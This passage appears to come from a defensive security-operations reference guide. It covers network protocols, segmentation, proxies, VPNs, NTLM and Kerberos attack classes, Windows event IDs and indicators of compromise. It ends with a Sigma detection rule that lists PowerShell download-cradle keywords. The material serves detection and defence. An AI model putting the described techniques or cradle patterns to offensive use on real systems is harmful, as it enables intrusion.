🔍Investigating a suspicious email: Check the Authentication-Results: header. It shows SPF/DKIM/DMARC results inline. A phishing email from a spoofed domain will typically show dmarc=fail or have no DKIM signature from the claimed domain. The Received-SPF: header shows which IP was checked against which domain's SPF record.
02.08HTTP Status Codes

HTTP status codes are the fastest way to triage web traffic anomalies in proxy and firewall logs. Use this section during threat hunting to spot reconnaissance (4xx spikes), exploitation attempts (500s), and redirect chains. Patterns in status codes across time often indicate scanners, fuzzing tools, or successful exploitation.

CodeMeaningSecurity Relevance
1xx — Informational
100Continue
101Switching ProtocolsWebSocket upgrade — monitor for C2 over WebSocket
2xx — Success
200OKNormal. C2 beacons typically receive 200.
201CreatedResource created — check REST API for unauthorized creates
204No ContentOften used as C2 heartbeat response (no body)
3xx — Redirection
301Moved PermanentlyWatch for open redirects used in phishing chains
302Found (Temporary)Common in phishing redirect chains
304Not ModifiedCache hit — no body returned
4xx — Client Error
400Bad RequestMalformed request — could indicate fuzzing/scanning
401UnauthorizedMissing/invalid auth — volume of 401s = brute-force indicator
403ForbiddenValid auth but insufficient permission
404Not FoundHigh 404 rate from single IP = directory traversal / scanner
405Method Not AllowedCould indicate verb tampering (PUT/DELETE against REST API)
429Too Many RequestsRate limit triggered — verify rate limiting is enforced
5xx — Server Error
500Internal Server ErrorSpike of 500s may indicate exploitation attempt (SQLi, command injection)
502Bad GatewayUpstream service unavailable
503Service UnavailableCould indicate active DDoS or resource exhaustion
02.09DHCP — Dynamic Host Configuration Protocol

DHCP automatically assigns IP addresses and network configuration to hosts. Without it, every device would need manual IP configuration. From a blue team perspective, rogue DHCP servers are a classic attack vector — a malicious DHCP server can redirect DNS and default gateway traffic before a single packet leaves the host.

How IP Assignment Works
StepMessageDirectionWhat Happens
1DHCPDISCOVERClient → Broadcast (255.255.255.255)Client has no IP; broadcasts to find any DHCP server on the subnet
2DHCPOFFERServer → BroadcastServer offers an IP address from its pool, including subnet mask, gateway, DNS, lease time
3DHCPREQUESTClient → BroadcastClient formally requests the offered IP (broadcast so other DHCP servers know which offer was accepted)
4DHCPACKServer → ClientServer confirms the lease. Client configures its interface and begins using the IP.
What DHCP Assigns
ParameterPurposeSecurity Relevance
IP AddressUnique host identifier on the subnetDHCP logs tie IP to MAC address — critical for post-incident attribution
Subnet MaskDefines the network boundaryDetermines which hosts are "local" — affects ARP scope
Default GatewayRouter IP — next hop for non-local trafficRogue DHCP can redirect all traffic through attacker-controlled gateway
DNS ServersIP addresses of DNS resolvers to useRogue DHCP can point hosts to attacker DNS for poisoning/redirection
Lease TimeHow long the IP assignment is validShort leases = frequent DHCP logs; long leases = static-like behaviour
NTP ServersTime synchronisation serversRogue NTP can skew time, breaking Kerberos (5-minute tolerance)
Blue Team — Detection & Monitoring
ThreatHow It WorksDetection
Rogue DHCP ServerAttacker runs unauthorised DHCP server; clients may receive attacker-controlled gateway and DNSMonitor for DHCPOFFER from unexpected MACs/IPs; enable DHCP snooping on managed switches
DHCP StarvationAttacker floods DHCP with requests using spoofed MACs, exhausting the IP pool — DoS for new clientsRate-limit DHCP requests per port; alert on pool exhaustion events
IP-MAC mismatchHost using an IP not assigned by DHCP — may indicate static IP misconfiguration or attacker pivotingCross-reference DHCP lease logs with observed traffic; alert on unknown IP/MAC pairs
ℹ️DHCP snooping is a switch-level security feature that only allows DHCPOFFER and DHCPACK messages from trusted ports (uplinks to the DHCP server). Untrusted ports (access ports) can only send DHCPDISCOVER and DHCPREQUEST. This prevents rogue DHCP servers on access ports.
02.10NAT — Network Address Translation

NAT translates private IP addresses to public IPs at the network boundary, enabling many devices to share a single public IP. It is the reason the IPv4 address space has not been exhausted — and a key reason why tracking internet-sourced attacks back to individual internal hosts requires log correlation, not just looking at the source IP.

NAT Types
TypeHow It WorksUse CaseSecurity Note
PAT / Overload (most common)Many private IPs → one public IP, distinguished by source port. The NAT device tracks {private IP:port ↔ public IP:port} in a translation table.Home routers, enterprise internet gatewaysAll internal hosts appear as one external IP — source IP alone cannot identify the internal host
Static NAT (1:1)One private IP permanently mapped to one public IP. Bidirectional — inbound connections reach the private host directly.Servers that need consistent external IPs (mail, web)Exposes internal host directly — firewall rules are critical
Dynamic NATPool of public IPs assigned to outbound connections as needed. No port translation.Organisations with multiple public IPsUnused pool IPs are wasted; harder to correlate than PAT
Port Forwarding (DNAT)Inbound traffic to public IP:port is forwarded to specific private IP:port. Destination address is rewritten.Hosting services behind NAT (web server, game server)Creates inbound path through firewall — every rule is a potential exposure
How PAT Works — Step by Step
DirectionOriginal PacketAfter NATNAT Table Entry
OutboundSrc: 192.168.1.10:54321 → Dst: 8.8.8.8:53Src: 203.0.113.5:40001 → Dst: 8.8.8.8:53192.168.1.10:54321 ↔ 203.0.113.5:40001
ReturnSrc: 8.8.8.8:53 → Dst: 203.0.113.5:40001Src: 8.8.8.8:53 → Dst: 192.168.1.10:54321Reverse lookup → correct internal host
⚠️Attribution problem: When investigating malicious outbound traffic, the source IP in external logs is the NAT public IP — not the internal host. You must correlate with firewall/NAT logs using the source port to identify the actual internal IP. DHCP logs then map that internal IP to a MAC address and hostname.
02.11Routing Basics

Routing is the process of selecting the path for traffic to travel from source to destination across networks. Routers maintain routing tables — maps of which network prefixes are reachable via which next-hop. Understanding routing helps analysts interpret firewall logs, identify unexpected traffic paths, and recognise routing-based attacks.

How a Router Forwards Packets
StepActionDetail
1Extract destination IPRouter reads the destination IP from the packet header
2Longest prefix matchRouter checks its routing table for the most specific matching prefix (e.g. /24 beats /16). This is always the deciding rule.
3Forward to next-hopPacket is sent to the next router (or directly to host if on the same subnet). Source IP is NOT changed (only NAT does that).
4Decrement TTLEach router decrements TTL by 1. At TTL=0, packet is dropped and ICMP Time Exceeded is sent to source — this is how traceroute works.
Routing Table Sources
TypeHow AddedExampleSecurity Note
ConnectedAutomatic — interface is configured with an IP in that range192.168.1.0/24 via eth0 (directly attached)Always present when interface is up
StaticManually configured by admin0.0.0.0/0 via 10.0.0.1 (default route)Simple but doesn't adapt to failures; a misconfigured static can blackhole traffic
OSPF / IS-ISDynamic interior routing — routers share topology mapsEnterprise LAN routing between sitesNeighbour authentication prevents rogue routers injecting false routes
BGPDynamic exterior routing — between autonomous systems (ISPs)Internet routing between organisationsBGP hijacking — announcing someone else's prefix — can redirect global traffic. High-profile attack vector.
⚠️BGP Hijacking: An attacker (or misconfigured router) announces a more specific prefix for a legitimate organisation's IP range. Global routers prefer the more specific route, redirecting traffic through the attacker. Used for traffic interception, cryptocurrency theft, and mail eavesdropping. Defence: RPKI (Resource Public Key Infrastructure) — cryptographic prefix ownership validation.
02.12Network Segmentation

Network segmentation divides a network into smaller, isolated zones. It is a foundational defence-in-depth control — an attacker who gains access to one segment cannot freely reach systems in others. Segmentation limits blast radius, contains lateral movement, and enables granular access control. It is the architectural implementation of least privilege at the network layer.

Why Segmentation Matters
Without SegmentationWith Segmentation
All hosts on a flat network — breach of one = access to allBreach contained to one segment; lateral movement requires crossing a firewall
PCI, HIPAA, or sensitive data systems visible to every workstationCompliance scope reduced — only authorised segments reach regulated systems
East-west traffic invisible — no inspection between internal hostsInter-segment traffic passes through firewalls/IPS — provides visibility and control
Ransomware spreads freely via SMB to every reachable hostRansomware contained to one zone — file servers, backups, and DCs in separate segments
Common Segmentation Zones
ZoneTypical ContentsAccess Policy
User / Workstation LANEmployee laptops, desktopsInternet access, limited access to servers; deny access to backup/DC management segments
Server LANApplication servers, databases, file serversAccessible from workstations on specific ports; not directly reachable from internet
DMZWeb servers, mail relays, VPN concentrators, reverse proxiesInternet-facing; restricted access to internal server LANs (see DMZ section)
Management / OOBJump servers, IPMI/iDRAC, network device managementHighly restricted — only admin hosts; no user workstation access
OT / IoTIndustrial control systems, SCADA, building management, IP camerasAir-gapped or strict unidirectional firewall rules; never internet-facing
Backup / DRBackup servers, tape, offsite replication targetsWrite-only from production servers; no outbound access; separate admin credentials
ℹ️Microsegmentation extends this to individual workloads — each application or container gets its own firewall policy, regardless of which physical or virtual network it's on. Enforced by software-defined networking (SDN) or host-based firewall rules. Zero Trust architecture requires microsegmentation — trust is per-workload, not per-network.
02.13VLANs — Virtual Local Area Networks

VLANs implement logical network segmentation at Layer 2, within the same physical switch infrastructure. Instead of buying separate switches for each network segment, VLANs partition a single switch into multiple isolated broadcast domains. Traffic between VLANs must pass through a router or Layer 3 switch — giving you a control point for firewall rules and monitoring.

How VLANs Work
ConceptExplanation
VLAN ID (VID)A number 1–4094 assigned to each VLAN. Frames on a VLAN are tagged with its VID as they traverse trunk links between switches (IEEE 802.1Q standard).
Access portSwitch port connected to an end device (PC, printer). Assigned to one VLAN. Frames are untagged — the device doesn't know it's on a VLAN.
Trunk portSwitch port that carries traffic for multiple VLANs between switches or to a router. Frames are 802.1Q tagged so the destination knows which VLAN they belong to.
Native VLANFrames on the native VLAN traverse trunk ports untagged. Default is VLAN 1 — should be changed to an unused VLAN (VLAN hopping attacks exploit the native VLAN).
Inter-VLAN routingVLANs are isolated at L2 — communication between them requires a Layer 3 router or L3 switch. This is the control point where firewalling and logging happen.
VLAN Security Issues
AttackHow It WorksMitigation
VLAN Hopping (Switch Spoofing)Attacker configures their NIC to send 802.1Q-tagged frames and negotiates a trunk link with the switch (via DTP), gaining access to all VLANs on that trunkDisable DTP on all access ports: switchport nonegotiate. Set all access ports explicitly: switchport mode access
VLAN Hopping (Double Tagging)Attacker sends double-tagged frames (outer tag = native VLAN, inner tag = target VLAN). Switch strips the outer tag and forwards to the inner VLAN — bypasses L2 isolationChange native VLAN to an unused VLAN ID; disable native VLAN tagging; never put user ports on the native VLAN
MAC FloodingAttacker floods the CAM table with fake MACs, causing the switch to broadcast frames to all ports (fail-open) — allowing sniffing across the VLANEnable port security to limit MACs per port; use 802.1X authentication
⚠️VLANs are not a security boundary by themselves. They prevent accidental cross-segment traffic at L2. A misconfigured trunk, a VLAN-hopping attack, or a misconfigured inter-VLAN routing policy can bypass VLAN isolation entirely. Always pair VLANs with firewall rules at the L3 boundary.
02.14DMZ — Demilitarised Zone

A DMZ is a network segment that sits between the internet and the internal network — a controlled buffer zone. Internet-facing services live here so that if they are compromised, the attacker has not reached the internal network directly. Traffic to and from the DMZ passes through firewalls in both directions. From a CSOC perspective, the DMZ is one of the highest-priority monitoring zones — it is both the most exposed and the most likely path toward internal resources.

DMZ Architecture
ZoneTraffic RulesWhat Lives Here
InternetUntrusted — all inbound filtered by outer firewallExternal users, attackers, CDN edge nodes
DMZInternet → DMZ: permitted on specific ports only (80, 443, 25, etc.)
DMZ → Internal: restricted — only specific services (DB queries, LDAP auth, log forwarding)
Internal → DMZ: permitted for management
Web servers, reverse proxies, mail relays (MTA), VPN concentrators, API gateways, jump servers, WAF
Internal NetworkDMZ → Internal strictly limited; deny by default
Internal → DMZ: management traffic only
Application servers, databases, Active Directory, workstations, backup systems
What Belongs in a DMZ and Why
ServiceWhy It Lives in the DMZWhat It Needs From Internal
Web / Application ServerDirectly internet-facing; must accept connections from anywhereDatabase queries (specific port to DB server only)
Reverse Proxy / WAFTerminates TLS and filters HTTP before passing to backend; reduces attack surface on backendHTTP to backend app servers on internal segment
Mail Relay (MTA)Must accept SMTP (port 25) from the internet; receives external emailSMTP forward to internal mail server; LDAP for recipient validation
VPN ConcentratorMust be internet-reachable; terminates VPN tunnels from remote usersAfter authentication, routed access to internal resources per policy
DNS Resolver (authoritative)Must answer DNS queries from the internet; exposes zone data for the domainZone transfers from/to internal authoritative DNS (split-brain DNS)
🚨DMZ compromise ≠ game over — but it's the start. An attacker who controls a DMZ host will immediately probe for paths into the internal network: database ports, LDAP, SMB, internal DNS. Every DMZ-to-internal firewall rule is a potential pivot path. Monitor all outbound connections from DMZ hosts to internal IPs — they should be predictable and minimal.
02.15Reverse Proxy & Forward Proxy

Proxies are intermediary servers that sit between two communicating parties. The direction of the relationship determines the type. Both have distinct security roles — forward proxies control outbound user traffic; reverse proxies protect inbound server traffic. Confusing the two is a common source of misconfigured security controls.

Forward Proxy vs Reverse Proxy
Forward ProxyReverse Proxy
Sits betweenInternal clients and the internetInternet and internal servers
Configured onClient (browser settings or PAC file) or transparent interceptionServer infrastructure — clients don't know it exists
Knows the client?Yes — sees the client's real IPNo — sees only the forward proxy or CDN IP; uses X-Forwarded-For header for client IP
Knows the server?Yes — forwards to whatever destination the client requestsYes — knows the backend servers; client only sees the proxy's IP
Primary purposeControl outbound access, SSL inspection, content filtering, caching, anonymisationLoad balancing, TLS termination, WAF, caching, DDoS protection, hiding backend topology
Security roleInspect and filter outbound traffic — detect C2 beaconing, block malicious domains, enforce DLPProtect backend servers — filter inbound attacks before they reach the application
ExamplesSquid, Zscaler, Cisco Umbrella, corporate web filternginx, HAProxy, Cloudflare, Akamai WAF, AWS ALB
Security Relevance
ScenarioWhich ProxyWhat It Does
C2 beacon detectionForward proxyAll outbound HTTP/S from internal hosts passes through — beacon intervals, JA3, destination domains are logged and inspectable with SSL inspection
WAF blocking SQLiReverse proxySits in front of web app; inspects HTTP requests and blocks OWASP Top 10 attacks before they reach the backend server
Malware bypassing proxyForward proxyMalware uses DNS-over-HTTPS, direct IP connections, or non-HTTP protocols to evade HTTP proxy inspection — requires DNS filtering and firewall rules to supplement
X-Forwarded-For spoofingReverse proxyAttacker sets X-Forwarded-For: 127.0.0.1 to bypass IP-based controls. Reverse proxy must strip and rewrite XFF, not trust client-supplied values
02.16Load Balancing & Traffic Distribution

Load balancers distribute incoming traffic across multiple backend servers to prevent any single server from becoming a bottleneck. They provide scalability, redundancy, and high availability. For CSOC analysts, load balancers complicate incident response because a single client IP may have touched multiple backend servers — and the true client IP is tracked via the X-Forwarded-For header — and a single backend server may have served thousands of clients.

Load Balancing Algorithms
AlgorithmHow It WorksBest For
Round RobinRequests distributed to servers in sequence: S1 → S2 → S3 → S1 → ...Homogeneous servers with similar request weights
Least ConnectionsNew request goes to the server with fewest active connectionsVariable-length requests (long-running sessions)
IP HashClient IP is hashed to determine which server handles all their requestsSession persistence without cookies (stateful apps)
WeightedServers assigned weights — higher-weight servers receive proportionally more trafficHeterogeneous servers with different capacities
Resource-BasedMetrics from servers (CPU, memory) determine routing — healthy servers get more trafficAuto-scaling environments
L4 vs L7 Load Balancing
L4 (Transport Layer)L7 (Application Layer)
Operates atTCP/UDP — sees IP and port onlyHTTP/S — sees full request (URL, headers, cookies, body)
Routing decision based onSource/destination IP and portURL path, Host header, cookie, content type, query parameters
TLSPasses through (no inspection)Terminates TLS — can inspect and manipulate HTTPS content
LatencyLower — minimal processingHigher — must parse HTTP
ExamplesF5 BIG-IP LTM, AWS NLB, HAProxy TCP modenginx, AWS ALB, Cloudflare, F5 BIG-IP with HTTP profile
Security functionDDoS mitigation (SYN flood), connection rate limitingWAF, bot detection, content inspection, sticky sessions, A/B routing
X-Forwarded-For (XFF) & Client IP Identification

When a client connects through a proxy, load balancer, or CDN, the backend server sees the proxy's IP — not the client's. The X-Forwarded-For HTTP header preserves the original client IP through the proxy chain, making it essential for log attribution and security controls.

ScenarioWhat Backend SeesXFF Header ValueAnalyst Note
Direct connectionReal client IP (203.0.113.10)Not presentSource IP in logs = actual client
Single load balancerLB IP (10.0.0.1)X-Forwarded-For: 203.0.113.10Must parse XFF for true client IP attribution
Client → Proxy → LB → ServerLB IPX-Forwarded-For: 203.0.113.10, 10.1.1.5Leftmost = original client; each hop appends its own IP
CDN → LB → ServerCDN edge IPX-Forwarded-For: 203.0.113.10, 104.16.x.xCloudflare sets CF-Connecting-IP; Akamai sets True-Client-IP — more reliable than raw XFF
🚨XFF is spoofable. Any client can set X-Forwarded-For: 127.0.0.1 to impersonate a trusted IP — bypassing WAF rate limits, geoblocking, and IP-based access controls. The load balancer or proxy must strip the client-supplied XFF and set its own. Only trust XFF injected by your own controlled infrastructure.
HeaderSet ByTrust Level & Notes
X-Forwarded-ForAny proxy in the chainStrip client-supplied value; only trust if set by your own proxy/LB
X-Real-IPnginx reverse proxySingle IP — simpler but same trust model; must be enforced by nginx config
CF-Connecting-IPCloudflare onlyHigh trust — set at Cloudflare edge, cannot be forged by the client
True-Client-IPAkamai / Cloudflare EnterpriseHigh trust — CDN-injected, not client-controllable
Forwarded (RFC 7239)Any proxy (standardised)Structured format: Forwarded: for=203.0.113.10;proto=https — same trust model as XFF
Health Checks & Failover

Load balancers continuously probe backend servers to detect failures and remove unhealthy nodes from rotation before users experience errors.

Check TypeWhat It TestsExampleSecurity Note
TCP checkCan the LB open a TCP connection to the backend port?TCP connect to :443 every 10sPasses even if the app returns 500 — only confirms the port is open
HTTP checkDoes backend return expected status to a specific URL?GET /health → expect 200 OKMore accurate — tests application layer; keep /health endpoint minimal (no version info)
HTTPS checkHTTP check over TLS — also validates the backend certificateGET https://backend/health → 200 + valid certDetects cert expiry on backends before users see TLS errors
Passive checkLB watches real traffic — marks backend unhealthy after N consecutive errors5× 5xx responses → remove from poolSlower; some user requests will fail during the detection window
ℹ️Session persistence (sticky sessions) — some applications store state in server memory (shopping carts, auth sessions). The load balancer must route a client consistently to the same backend server using a cookie or IP hash. If persistence fails, users get logged out. If a backend is removed, all sticky sessions on it are lost.
02.17CDN & Edge Concepts

A Content Delivery Network (CDN) is a geographically distributed network of edge servers that cache and serve content from locations physically close to users. Instead of all requests traversing the internet to a single origin server, users are served from the nearest edge node — reducing latency, absorbing traffic spikes, and providing a first line of defence against DDoS. For CSOC analysts, CDNs mean that origin server IPs are hidden behind CDN IPs, and that attack traffic is absorbed at the edge before it reaches your infrastructure.

How a CDN Request Works
StepWhat HappensSecurity Relevance
1. DNS resolution (Anycast)User queries cdn-domain.example.com → CDN's authoritative DNS returns the IP of the nearest edge PoP (via anycast or GeoDNS)Attacker can enumerate CDN PoP IPs but cannot directly reach origin if CDN is properly configured
2. Edge PoP cache checkEdge node checks its cache for the requested resource using the cache key (URL + headers)Cache HIT: origin never contacted. Cache MISS: request forwarded to origin.
3. Cache HITContent served directly from edge — origin server receives no requestOrigin protected from high request volumes; reduces origin exposure
4. Cache MISSEdge forwards request to origin, caches the response per Cache-Control TTL, serves cached copy to subsequent requestsFirst request to origin is a window of exposure; origin IP may appear in CDN-to-origin logs
CDN Security Functions
FunctionWhat It DoesCSOC Note
DDoS AbsorptionDistributes attack traffic across global edge nodes; absorbs volumetric attacks before originMonitor CDN attack dashboards; origin traffic spike despite CDN = bypass attempt
WAF at EdgeInspects HTTP/S at edge PoPs — blocks SQLi, XSS, bad bots before originAlert on WAF rule triggers; 200 OK after a WAF alert = possible bypass
TLS TerminationCDN terminates TLS from clients; re-encrypts (or plaintext) to origin. CDN sees cleartext — enables inspection.CDN holds your TLS private key or manages certs. Origin-CDN traffic often HTTP — ensure network path is trusted
Origin IP ConcealmentUsers see CDN IPs, not origin. Origin remains unreachable directly if firewall allows only CDN IP ranges.Origin IP exposure (via old DNS records, certificate transparency logs, or misconfigured subdomains) bypasses all CDN protections
Cache Poisoning RiskAttacker tricks CDN into caching malicious content by manipulating request parametersMonitor for unexpected Cache-Control headers or responses being cached that shouldn't be
⚠️Origin IP exposure is one of the most common CDN misconfigurations. If your origin IP is discoverable (via Certificate Transparency logs at crt.sh, historical DNS records, or a misconfigured subdomain pointing directly to origin), attackers bypass the CDN and hit origin directly — defeating WAF, DDoS protection, and rate limiting. Always firewall origin to accept only CDN provider IP ranges.
02.18VPN & Remote Access

A VPN (Virtual Private Network) creates an encrypted tunnel over an untrusted network (typically the internet), allowing remote users or sites to communicate as if they were on the same private network. VPN concentrators are high-value targets — a compromised VPN gives an attacker legitimate-looking internal network access. VPN logs are among the first places to check in any suspected intrusion investigation.

VPN Types
TypeHow It WorksUse CaseSecurity Note
Remote Access VPNIndividual user client connects to a VPN concentrator; receives an internal IP; all or selected traffic routed through the tunnelRemote employees accessing corporate resourcesMost common initial access vector — compromised credentials or unpatched VPN CVE (Pulse, Fortinet, Citrix)
Site-to-Site VPNTwo routers/firewalls establish a permanent encrypted tunnel between two office networks — users don't need a VPN clientConnecting branch offices to HQIf one site is compromised, the tunnel gives attacker direct L3 access to the other site
Split TunnellingOnly corporate-destined traffic goes through VPN; internet traffic goes directly. Reduces VPN load.Remote workers — internet browsing stays localInternet traffic bypasses corporate controls — malware on a split-tunnel client can communicate externally without appearing in corporate logs
Full TunnellingAll traffic (including internet) routed through corporate VPN — internet accessed through corporate proxiesHigh-security environmentsGives full visibility over remote user traffic; increases VPN bandwidth requirements
VPN Protocols
ProtocolPortEncryptionNotes
OpenVPNUDP/1194 or TCP/443TLS (AES-256)Open source; highly configurable; runs over TCP/443 to evade blocking
WireGuardUDP/51820ChaCha20-Poly1305Modern, fast, minimal codebase; increasingly used in enterprise and C2 frameworks (Sliver)
IPSec / IKEv2UDP/500, UDP/4500AES-256 + HMAC-SHA2Standard for site-to-site and enterprise remote access; MOBIKE supports IP changes (mobile)
SSL VPN (HTTPS)TCP/443TLSBrowser-based or client; runs on 443 — hard to block. Pulse Secure, Fortinet, Citrix — all had critical CVEs 2019–2023
PPTPTCP/1723MPPE (RC4)Legacy — critically weak, broken by MS-CHAPv2 attacks. Do not use.
CSOC — VPN Threat Monitoring
IndicatorWhat It SuggestsResponse
Login from new country/ASN for established userCredential compromise — attacker using purchased credsVerify with user; enforce MFA; check for concurrent sessions from different geos (impossible travel)
Login success after multiple failures (different IPs)Password spray or credential stuffing successIsolate account; reset credentials; check what resources were accessed during the session
VPN session from datacenter/proxy IP rangeAttacker using proxy/VPN to anonymise — residential IPs expected for genuine remote workersBlock datacenter ASNs from VPN login; investigate the specific session
Unusually large data transfer during VPN sessionData exfiltration via legitimate VPN sessionReview what shares/systems were accessed; correlate with DLP alerts
VPN auth without corresponding MFA eventMFA bypass — SIM swap, authenticator compromise, or legacy auth fallbackInvestigate MFA logs; disable legacy auth protocols on VPN
🚨VPN appliances are priority targets. Pulse Secure, Fortinet FortiGate, Citrix ADC, and Palo Alto GlobalProtect have all had critical pre-authentication RCE vulnerabilities exploited in the wild (2019–2024). Patch VPN appliances immediately — they are internet-facing, process all remote auth, and a single exploit gives unauthenticated network access.
Section 03
Identity & Authentication
03.02NTLM

NT LAN Manager — Microsoft's legacy challenge-response authentication. Still prevalent for backwards compatibility but vulnerable to multiple attack classes.

🚨Security concern: NTLM is vulnerable to Pass-the-Hash, NTLM Relay (Responder, ntlmrelayx), and offline cracking. NTLMv1 is critically weak. Disable via GPO and enforce Kerberos wherever possible. Block outbound NTLM to external hosts.
StepDirectionDescription
1. NEGOTIATEClient → ServerClient announces NTLM capabilities and supported features
2. CHALLENGEServer → ClientServer sends 8-byte random nonce (challenge)
3. AUTHENTICATEClient → ServerClient sends NT response = HMAC-MD5(NT hash, challenge). Username sent in cleartext.
4. VERIFYServer → DCServer forwards credentials to DC via Netlogon secure channel for validation
⚠️NTLM Relay Attack: Attacker intercepts NTLM auth (via LLMNR/NBT-NS poisoning) and relays it to a different service in real-time — no cracking needed. Mitigate with SMB signing, LDAP signing, and EPA (Extended Protection for Authentication).
03.03Kerberos

Ticket-based network authentication protocol. Passwords never travel over the wire. The KDC (Key Distribution Center) runs on the Domain Controller and combines the Authentication Service (AS) and Ticket Granting Service (TGS).

Authentication Flow
Client Workstation KDC (Domain Controller) AS + TGS services Target Service e.g. fileserver ① AS-REQ Pre-auth: timestamp encrypted with user's NT hash ② AS-REP TGT (enc. krbtgt hash) + Session Key (enc. user hash) ③ TGS-REQ TGT + SPN of target service → request service ticket ④ TGS-REP Service Ticket (enc. service acct hash) + service session key ⑤ AP-REQ Service Ticket + Authenticator → present to service ⑥ AP-REP Service validates ticket → grants access (mutual auth) AS-REP Roasting No pre-auth required Kerberoasting Request TGS → crack offline Golden Ticket Forge TGT w/ krbtgt hash
StepMessageFrom → ToEncrypted WithAttack Vector
AS-REQClient → KDCUser NT hash (timestamp pre-auth)AS-REP Roast if pre-auth disabled
AS-REPKDC → ClientTGT: krbtgt hash · Session key: user hashGolden Ticket: forge with stolen krbtgt
TGS-REQClient → KDCTGT (krbtgt hash)Kerberoasting: request any SPN ticket
TGS-REPKDC → ClientTicket: svc acct hash · Key: session keyKerberoasting: crack svc ticket offline
AP-REQClient → ServiceService account hashSilver Ticket: forge with svc acct hash
AP-REPService → ClientService session key
Key Error Codes (Event 4771)
CodeMeaningCommon Cause & Action
0x06Client not found in databaseBad username — typo, or new account not yet replicated to DC
0x07Server not found in databaseNew computer account not replicated yet; pre-Win2000 machine
0x0CKDC policy rejects requestWorkstation restriction or logon hours violation
0x12Credentials revokedAccount disabled / expired / locked out / outside logon hours
0x17Password expiredUser must reset — check if service account
0x18Pre-auth failedWrong password — high volume = brute force or password spray
0x20Ticket expiredNormal for computer accounts; investigate if user accounts
0x25Clock skew too great>5 min drift breaks Kerberos — check NTP sync on host and DC
Section 04
Detection Engineering
04.01Critical Windows Event IDs

Windows Event Logs are the backbone of SIEM detection. Ensure these event IDs are forwarded to your SIEM. Enable advanced audit policy via GPO (auditpol).

Account & Logon Events
Event IDDescriptionDetection Use
4625Failed logonBrute force: high volume from single source; especially logon type 10 (RemoteInteractive/RDP)
4624Successful logonLateral movement: logon type 3 (Network) or 10 (RDP) from unexpected source. Check logon type and source.
4648Logon attempt with explicit credentialsPass-the-hash / runas / credential use; common in lateral movement
4672Special privileges assigned to new logonPrivileged logon; watch for unexpected accounts receiving admin privileges
4720User account createdUnauthorized account creation — backdoor persistence
4726User account deletedEvidence destruction or covering tracks
4728Member added to security-enabled global groupAlert on additions to Domain Admins, Enterprise Admins
4732Member added to security-enabled local groupAlert on additions to local Administrators group
4756Member added to security-enabled universal groupGroup membership change in universal groups
4740User account locked outPassword spray / brute force indicator
4767User account unlockedSuspicious if unlocked immediately after lockout
4771Kerberos pre-authentication failedBad password attempts (0x18 = wrong password). AS-REP roasting (0x17 = pre-auth disabled).
4768Kerberos TGT requestedAS-REP roasting: look for pre-auth type 0x00 for regular user accounts
4769Kerberos service ticket (TGS) requestedKerberoasting: filter for RC4 (0x17) encryption type for service accounts
Process & Execution Events
Event IDDescriptionDetection Use
4688New process createdEnable "Include command line in process creation events" GPO. Detect LOLBins, malicious child processes.
4689Process terminatedCorrelate with 4688 to detect short-lived malicious processes
4698Scheduled task createdPersistence via Task Scheduler — alert on new tasks not in baseline
4702Scheduled task updatedExisting task modified — possible persistence update
4699Scheduled task deletedAnti-forensics — attacker removing persistence before leaving
System & Service Events
Event IDDescriptionDetection Use
7045New service installed (System log)Lateral movement tools (PsExec) and persistence via services
7036Service state changedUnexpected service starts/stops — security tool tampering
1102Security audit log clearedAnti-forensics — attacker clearing evidence
104System log cleared (System log)Anti-forensics — log tampering
4719System audit policy changedAttacker may disable auditing to reduce logging
4657Registry value modifiedPersistence via registry modifications
PowerShell / Script Events
Event IDLogDescriptionEnable via GPO
4103PowerShell OperationalModule logging — full pipeline execution outputEnable Module Logging
4104PowerShell OperationalScript block logging — full deobfuscated script contentEnable Script Block Logging ← Most valuable
4105/4106PowerShell OperationalScript block start/stopEnable Script Block Logging
400/800PowerShell (legacy)Engine lifecycle / pipeline execution (PS 2.0)Default on older systems
Logon Type Reference
TypeNameDescriptionCredential on Disk?
2InteractiveLocal keyboard logonYes — credentials cached
3NetworkSMB, net use, WMINo
4BatchScheduled tasksYes — as service account
5ServiceService startupYes — service account creds
7UnlockWorkstation unlockYes
8NetworkCleartextIIS basic auth; cleartext passwordYes — cleartext in memory
9NewCredentialsRunAs /netonly — local uses original, network uses newYes (new creds)
10RemoteInteractiveRDP / Terminal ServicesYes — credentials cached on remote
11CachedInteractiveDomain logon using cached credentials (offline)Yes
04.02Indicators of Compromise (IOCs)

IOCs are artifacts that indicate potential malicious activity. Prioritize behavioral IOCs (TTPs) over atomic IOCs (hashes, IPs) — adversaries rotate hashes and IPs but TTPs are harder to change.

🌐 Network IOCs
  • Known malicious IP addresses/ranges
  • Malicious domain names (DGA patterns)
  • Suspicious URLs and URI patterns
  • Unusual DNS query types (TXT, NULL)
  • Beaconing patterns (regular intervals)
  • Self-signed certificates on suspicious IPs
  • Tor exit node connections
📁 File IOCs
  • MD5 / SHA1 / SHA256 file hashes
  • Suspicious file names or extensions
  • Files in unexpected locations (Temp, AppData)
  • Unsigned executables in system paths
  • Large base64-encoded data in scripts
  • Files with mismatched extensions/magic bytes
⚙️ Host IOCs
  • New/unexpected registry run keys
  • Scheduled tasks not in baseline
  • New services (especially from Temp path)
  • Unusual parent-child process relationships
  • LSASS memory read access (credential dumping)
  • VSS deletion / shadow copy removal
  • New local admin accounts
👤 Behavioral IOCs
  • Logon outside normal hours
  • Access to unusual file shares
  • Mass file access or modification
  • Data staging in compression archives
  • Outbound transfers to cloud storage
  • Admin tools used by non-admin accounts
  • Lateral movement between workstations
💡Pyramid of Pain (David Bianco): From easiest to hardest for attackers to change: Hash values → IP addresses → Domain names → Network/Host artifacts → Tools → TTPs. Focus detection on TTPs for highest resilience against adversary adaptation.
04.03Sigma Rules

Sigma is a generic, open SIEM rule format — write once, convert to Splunk, Elastic, QRadar, Microsoft Sentinel, etc. via sigma-cli or pySigma.

title: Suspicious PowerShell Download Cradle
id: 3b6ab547-8ec2-4991-b9d2-2b06702a010d
status: experimental
description: Detects PowerShell download cradles commonly used by attackers for payload delivery
author: ThreatHunter
date: 2025/01/01
tags:
    - attack.execution
    - attack.t1059.001
    - attack.defense_evasion
    - attack.t1027
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\powershell.exe'
        CommandLine|contains:
            - 'Invoke-WebRequest'
            - 'Invoke-Expression'
            - 'IEX'
            - 'DownloadString'
            - 'DownloadFile'
            - 'Net.WebClient'
            - 'WebRequest'
            - 'Start-BitsTransfer'
    filter_admin:
        User|contains: 'Administrator'    # Tune based on environment
    condition: selection and not filter_admin
falsepositives:
    - Legitimate admin scripts (tune filter_admin)
